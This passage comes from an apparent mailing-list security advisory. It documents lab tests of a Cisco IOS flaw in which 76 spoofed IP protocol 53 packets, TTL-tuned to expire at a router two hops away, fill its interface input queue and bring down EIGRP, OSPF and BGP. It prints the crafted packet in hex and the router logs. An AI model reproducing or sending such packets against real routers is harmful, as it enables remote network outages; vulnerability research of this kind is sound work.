  MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec,
     reliability 255/255, txload 1/255, rxload 1/255
  Encapsulation ARPA, loopback not set
  Keepalive set (10 sec)
  ARP type: ARPA, ARP Timeout 04:00:00
  Last input 00:00:02, output 00:00:05, output hang never
  Last clearing of "show interface" counters 00:01:51
  Queueing strategy: fifo
  Output queue 0/40, 0 drops; input queue 76/75, 0 drops
  5 minute input rate 0 bits/sec, 0 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
     98 packets input, 7681 bytes, 0 no buffer
     Received 7 broadcasts, 0 runts, 0 giants, 0 throttles
     0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored
     0 input packets with dribble condition detected
     30 packets output, 3340 bytes, 0 underruns(0/0/0)
     0 output errors, 0 collisions, 0 interface resets
     0 babbles, 0 late collision, 0 deferred
     0 lost carrier, 0 no carrier
     0 output buffer failures, 0 output buffers swapped out


I TRIED PINING FROM THE ATTACKED ROUTER, NO LUCK.
Router4#ping 10.1.1.41

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 10.1.1.41, timeout is 2 seconds: .....
Success rate is 0 percent (0/5) Router4#

So, what this tells us is that attacks can be built up or cumulative and
not felt for days, weeks or months.

Section III 	Remote Multihop Exploit Tests


MULTIHOP/SPOOFED EXERCISE. 

In this test I sent the same SWIP packets from the original router 4
Ethernet segment used in earlier tests but this time instead of
attacking my local router I decided to attack a router 2 hops down that
was using a Multilink serial interface running BGP and EIGRP.


It did not work at first then I remembered I had to change the TTL of
the spoofed packet so it would just reach my victim router interface.

ARCHITECTURE.. for this test I used three routers in my lab. Routers 4,
5. and 6. See AMILAB diagram    http://www.amilabs.com/labdiagrams.htm

The packet originates on the local Ethernet switch segment where router4
resides. The middle router is router 6 and the end router where we want
to attack is router 5. There is a dual serial multilink configuration
enabled between router 6 and 5. EIGRP AND BGP are running between these
interfaces. EIGRP is used on all the routers. So, the interface we want
to attack is the MULTILINK 1 interface on router 5 with its IP address
of 100.100.100.1. The other side of the Multilink is 100.100.100.2 on
router 6. I am sending a spoofed packet from an Ethernet segment of
10.1.1.x off the router 4 Ethernet switch segment. Then the packet goes
through router 4 then through router 6 then through router 6's Multilink
interface to the end point which is router 5's multilink interface of
100.100.100.1.


BELOW IS MY EDITED PACKET NOTICE THE TTL AND TH SOURCE ADDRESS

                           ------------  ETHER Header  ------------
00 E0 1E 60 9C 09         ETHER: Destination: 00-E0-1E-60-9C-09
  set to router4 default gateway int. gw interface

00 0B 46 37 BA BE         ETHER: Source: 00-0B-46-37-BA-BE
08 00                     ETHER: Protocol: IP
                          
                          ------------  IP Header  ------------
45                        IP: Version = 4
                          IP: Header length = 20
00                        IP: Differentiated Services (DS) Field = 0x00
                          IP:     0000 00.. DS Codepoint = Default PHB
(0)
                          IP:     .... ..00 Unused
00 30                     IP: Packet length = 48
00 01                     IP: Id = 1
00 00                     IP: Fragmentation Info = 0x0000
                          IP:     .0.. ....  .... .... Don't Fragment
Bit = FALSE
                          IP:     ..0. ....  .... .... More Fragments
Bit = FALSE
                          IP:     ...0 0000  0000 0000 Fragment offset =
0
03                        IP: Time to live = 3
35                        IP: Protocol = 53 (53)
ED 09                     IP: Header checksum = ED09 (Verified ED09)
01 01 01 29               IP: Source address = 1.1.1.41
64 64 64 01               IP: Destination address = 100.100.100.1
08 00 93 8C 00 02 00 03   IP: 28 bytes of data
01 02 03 04 05 06 07 08    
09 0A 0B 0C 0D 0E 0F 10    
11 12 13 14                


Here is my debug packet detail using an ACL thus turning the router into
a sniffer. 

The packet arrived on my multilink1 serial interface from two router
hops away. The source IP address is the spoofed address of 1.1.1.41.

000137: *Mar  1 07:18:00.994: %SEC-6-IPACCESSLOGNP: list 103 permitted
53 1.1.1.41 -> 100. 100.100.1, 1 packet
000138: *Mar  1 07:18:00.994: IP: s=1.1.1.41 (Multilink1),
d=100.100.100.1 (Multilink1), l en 48, rcvd 3, proto=53
000139: *Mar  1 07:18:06.902: IP: s=1.1.1.41 (Multilink1),
d=100.100.100.1 (Multilink1), l en 48, rcvd 3, proto=53
000140: *Mar  1 07:18:09.002: IP: s=1.1.1.41 (Multilink1),
d=100.100.100.1 (Multilink1), l en 48, rcvd 3, proto=53

Now lets see if the exploit can be executed. I will send 76 exploit
packets.

Interface state before exploit packets arrive:

Router5#sh int mul 1
Multilink1 is up, line protocol is up
  Hardware is multilink group interface
  Internet address is 100.100.100.1/24
  MTU 1500 bytes, BW 3088 Kbit, DLY 100000 usec,
     reliability 255/255, txload 1/255, rxload 1/255
  Encapsulation PPP, loopback not set
  Keepalive set (10 sec)
  DTR is pulsed for 2 seconds on reset
  LCP Open, multilink Open
  Open: IPCP, CDPCP
  Last input 00:00:00, output never, output hang never
  Last clearing of "show interface" counters 00:00:10
  Input queue: 0/75/0/0 (size/max/drops/flushes); Total output drops: 0
  Queueing strategy: fifo
  Output queue :0/40 (size/max)
  5 minute input rate 0 bits/sec, 0 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
     4 packets input, 511 bytes, 0 no buffer
     Received 0 broadcasts, 0 runts, 0 giants, 0 throttles
     0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
     6 packets output, 610 bytes, 0 underruns
     0 output errors, 0 collisions, 0 interface resets
     0 output buffer failures, 0 output buffers swapped out
     0 carrier transitions


After the exploit packets arrive.
Notice the Multilink's input queue. I am at the threshold.

Router5#sh int mul 1
Multilink1 is up, line protocol is up
  Hardware is multilink group interface
  Internet address is 100.100.100.1/24
  MTU 1500 bytes, BW 3088 Kbit, DLY 100000 usec,
     reliability 255/255, txload 1/255, rxload 1/255
  Encapsulation PPP, loopback not set
  Keepalive set (10 sec)
  DTR is pulsed for 2 seconds on reset
  LCP Open, multilink Open
  Open: IPCP, CDPCP
  Last input 00:00:06, output never, output hang never
  Last clearing of "show interface" counters 00:00:35
  Input queue: 75/75/4/0 (size/max/drops/flushes); Total output drops: 0
  Queueing strategy: fifo
  Output queue :0/40 (size/max)
  5 minute input rate 1000 bits/sec, 1 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
     84 packets input, 4739 bytes, 0 no buffer
     Received 0 broadcasts, 0 runts, 0 giants, 0 throttles
     0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
     13 packets output, 1060 bytes, 0 underruns
     0 output errors, 0 collisions, 0 interface resets
     0 output buffer failures, 0 output buffers swapped out
     0 carrier transitions

The exploit starts affecting my routing protocols running on the
interface.

Router5#
Router5#
001127: *Mar  1 07:33:00.466: %DUAL-5-NBRCHANGE: IP-EIGRP 1: Neighbor
100.100.100.2 (Mult
link1) is down: holding time expired
001128: *Mar  1 07:33:18.586: %OSPF-5-ADJCHG: Process 1, Nbr
220.220.220.6 on Multilink1 rom FULL to DOWN, Neighbor Down: Dead timer
expired


Router5#sh int mul 1
Multilink1 is up, line protocol is up
  Hardware is multilink group interface
  Internet address is 100.100.100.1/24
  MTU 1500 bytes, BW 3088 Kbit, DLY 100000 usec,
     reliability 255/255, txload 1/255, rxload 1/255
  Encapsulation PPP, loopback not set
  Keepalive set (10 sec)
  DTR is pulsed for 2 seconds on reset
  LCP Open, multilink Open
  Open: IPCP, CDPCP
  Last input 00:00:40, output never, output hang never
  Last clearing of "show interface" counters 00:01:08
  Input queue: 75/75/43/0 (size/max/drops/flushes); Total output drops:
0
  Queueing strategy: fifo
  Output queue :0/40 (size/max)
  5 minute input rate 0 bits/sec, 0 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
     84 packets input, 4739 bytes, 0 no buffer
     Received 0 broadcasts, 0 runts, 0 giants, 0 throttles
     0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
     32 packets output, 2250 bytes, 0 underruns
     0 output errors, 0 collisions, 0 interface resets
     0 output buffer failures, 0 output buffers swapped out
     0 carrier transitions
Router5#


Router5#sh int mul 1
Multilink1 is up, line protocol is up
  Hardware is multilink group interface
  Internet address is 100.100.100.1/24
  MTU 1500 bytes, BW 3088 Kbit, DLY 100000 usec,
     reliability 255/255, txload 1/255, rxload 1/255
  Encapsulation PPP, loopback not set
  Keepalive set (10 sec)
  DTR is pulsed for 2 seconds on reset
  LCP Open, multilink Open
  Open: IPCP, CDPCP
  Last input 00:00:06, output never, output hang never
  Last clearing of "show interface" counters 00:00:35
  Input queue: 75/75/4/0 (size/max/drops/flushes); Total output drops: 0
  Queueing strategy: fifo
  Output queue :0/40 (size/max)
  5 minute input rate 1000 bits/sec, 1 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
     84 packets input, 4739 bytes, 0 no buffer
     Received 0 broadcasts, 0 runts, 0 giants, 0 throttles
     0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
     13 packets output, 1060 bytes, 0 underruns
     0 output errors, 0 collisions, 0 interface resets
     0 output buffer failures, 0 output buffers swapped out
     0 carrier transitions
Router5#
Router5#

I am done transmitting the 76 exploits. My routing protocols are still
screaming.

001127: *Mar  1 07:33:00.466: %DUAL-5-NBRCHANGE: IP-EIGRP 1: Neighbor
100.100.100.2 (Mu
link1) is down: holding time expired
001128: *Mar  1 07:33:18.586: %OSPF-5-ADJCHG: Process 1, Nbr
220.220.220.6 on Multilink rom FULL to DOWN, Neighbor Down: Dead timer
expired


Router5#sh int mul 1
Multilink1 is up, line protocol is up
  Hardware is multilink group interface
  Internet address is 100.100.100.1/24
  MTU 1500 bytes, BW 3088 Kbit, DLY 100000 usec,
     reliability 255/255, txload 1/255, rxload 1/255
  Encapsulation PPP, loopback not set
  Keepalive set (10 sec)
  DTR is pulsed for 2 seconds on reset
  LCP Open, multilink Open
  Open: IPCP, CDPCP
  Last input 00:00:40, output never, output hang never
  Last clearing of "show interface" counters 00:01:08
  Input queue: 75/75/43/0 (size/max/drops/flushes); Total output drops:
0
  Queueing strategy: fifo
  Output queue :0/40 (size/max)
  5 minute input rate 0 bits/sec, 0 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
     84 packets input, 4739 bytes, 0 no buffer
     Received 0 broadcasts, 0 runts, 0 giants, 0 throttles
     0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
     32 packets output, 2250 bytes, 0 underruns
     0 output errors, 0 collisions, 0 interface resets
     0 output buffer failures, 0 output buffers swapped out
     0 carrier transitions
Router5#

I jump over to router 6 to run some tests and see the other end of the
multilink that the exploits passed through.

2509#6
[Resuming connection 6 to r6 ... ]

0CC

*** Welcome to the AMI Network, enjoy your research... ***

Router6>

Looks like on this side my Multilink is still up.

Router6#sh int mul 1
Multilink1 is up, line protocol is up
  Hardware is multilink group interface
  Internet address is 100.100.100.2/24
  MTU 1500 bytes, BW 3088 Kbit, DLY 100000 usec,
     reliability 255/255, txload 1/255, rxload 1/255
  Encapsulation PPP, loopback not set
  Keepalive set (10 sec)
  DTR is pulsed for 2 seconds on reset
  LCP Open, multilink Open
  Listen: IPXCP
  Open: IPCP, CDPCP
  Last input 00:00:00, output never, output hang never
  Last clearing of "show interface" counters 07:33:50
  Input queue: 0/75/0/0 (size/max/drops/flushes); Total output drops:
762
  Queueing strategy: fifo
  Output queue :0/40 (size/max)
  5 minute input rate 0 bits/sec, 0 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
     94407 packets input, 5329076 bytes, 0 no buffer
     Received 0 broadcasts, 0 runts, 0 giants, 0 throttles
     0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
     99168 packets output, 5394098 bytes, 0 underruns
     0 output errors, 0 collisions, 1 interface resets
     0 output buffer failures, 0 output buffers swapped out
     0 carrier transitions

Router6#
Router6#
Router6#ping 100.100.100.1

However I cannot ping router 5's multilink interface and the routing
protocols are still screaming.

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 100.100.100.1, timeout is 2 seconds:

000067: *Mar  1 07:34:15.414: %DUAL-5-NBRCHANGE: IP-EIGRP 1: Neighbor
100.100.100.1 (Mu
link1) is down: retry limit exceeded.
000068: *Mar  1 07:34:18.190: %DUAL-5-NBRCHANGE: IP-EIGRP 1: Neighbor
100.100.100.1 (Mu
link1) is up: new adjacency....
Success rate is 0 percent (0/5)
Router6#
Router6#ping 100.100.100.1

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 100.100.100.1, timeout is 2 seconds:
..... Success rate is 0 percent (0/5) Router6#
000069: *Mar  1 07:34:58.770: %BGP-3-NOTIFICATION: received from
neighbor 220.220.220.5 0 (hold time expired) 0 bytes
000070: *Mar  1 07:34:58.774: %BGP-5-ADJCHANGE: neighbor 220.220.220.5
Down BGP Notific on received Router6# Router6# Router6#


I then tried to ping the remote exploited serial multilink1 interface
from 2 hops away and it is dead.


>From Router4#ping 100.100.100.1  this is my origination point.

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 100.100.100.1, timeout is 2 seconds:
..... Success rate is 0 percent (0/5) Router4# No luck. I will then try
from the from middle router(router6) pinging the other end of the
multilink on router 5.

The EIGRP neighbor is in Query mode up but  any packets going to the
100.100.100.1 address is futile, except the exploit packets, remember
section II? .


Router6#sh ip eig nei
IP-EIGRP neighbors for process 1
H   Address                 Interface   Hold Uptime   SRTT   RTO  Q  Seq
Type
                                        (sec)         (ms)       Cnt Num
0   100.100.100.1           Mu1           10 00:00:31    1  5000  1  0
1   90.1.1.2                Se0/3         10 01:02:09   18   200  0  17
Router6#
Router6#

Try pinging from the middle router.
Router6#ping 100.100.100.1

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 100.100.100.1, timeout is 2 seconds:
..... Success rate is 0 percent (0/5) Router6#

eigrp neighbors flap..

000075: *Mar  1 07:38:24.390: %DUAL-5-NBRCHANGE: IP-EIGRP 1: Neighbor
100.100.100.1
link1) is down: retry limit exceeded
000076: *Mar  1 07:38:27.634: %DUAL-5-NBRCHANGE: IP-EIGRP 1: Neighbor
100.100.100.1
link1) is up: new adjacency

I also lose my BGP peer over the Multilink.

Router6#sh ip b nei 220.220.220.5
BGP neighbor is 220.220.220.5,  remote AS 100, external link
  BGP version 4, remote router ID 0.0.0.0
  BGP state = Active
  Last read 00:07:58, hold time is 180, keepalive interval is 60 seconds
  Received 460 messages, 1 notifications, 0 in queue
  Sent 458 messages, 0 notifications, 0 in queue
  Route refresh request: received 0, sent 0
  Default minimum time between advertisement runs is 30 seconds

 For address family: IPv4 Unicast
  BGP table version 31, neighbor version 0
  Index 3, Offset 0, Mask 0x8
  NEXT_HOP is always this router
  0 accepted prefixes consume 0 bytes
  Prefix advertised 0, suppressed 0, withdrawn 0
  Number of NLRIs in the update sent: max 0, min 0

  Connections established 1; dropped 1
  Last reset 00:08:19, due to BGP Notification received, hold time
expired
  External BGP neighbor may be up to 3 hops away.
  No active TCP connection

SUMMARY

.	WHAT WE LEARND IS THAT THIS IOS ISSUE CAN BE EXPLOITED BY JUST
ONE PROTOCOL TYPE, THUS NO SPECIAL SEQUEANCE IS NEEDED OF PROTOCOLS
DEFINED IN THE IP HEADER OR RARE/EXOTIC DATA PAYLOAD IS NEEDED.

.	SIMPLE EXPLOIT PACKETS CAN BE CREATED AND GENERATED FROM ANY
PLACE

.	IT IS CUMULATIVE IN THAT ALL THE PACKET DO NOT HAVE TO BE SENT
AT ONCE. AN ATTACK CAN RENDER A ROUTER USELESS AFTER JUST 76 PACKETS IN
A SECOND OR 76 PACKETS OVER 75 DAYS IF QUEUES ARE NOT CLEARED.

.	CHANGING QUEUING DOES NOT HELP FIFO AND FAIR DID NOT HELP

.	PACKETS CAN BE SOURCED MAC AND IP ADDRESSED SPOOFED

.	SAME BEHAVIOR APPEARED AGAINST  A 100MB FAST ETHERNET INTERFACE
ON A 2620XM.

.	SAME BEHAVIOR APPEARED AGAINST A SERIAL INTERFACE MULTILINK
.	KNOCKS OUT IGP AND EGPS OBVIOUSLY.

.	END RESULT THIS ATTACK CAN BE LAUNCHED FROM ANY PLACE AT ANY
TIME TO CAUSE SERIOUS DAMAGE. ONLY 76+ PACKETS NEED TO BE SENT WITH THE
TTL EXPIRING AT THE END ROUTER INTERFACE.

GOOD LUCK AND MAY THE FORCE BE WITH YOU..

AMILABS..












Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ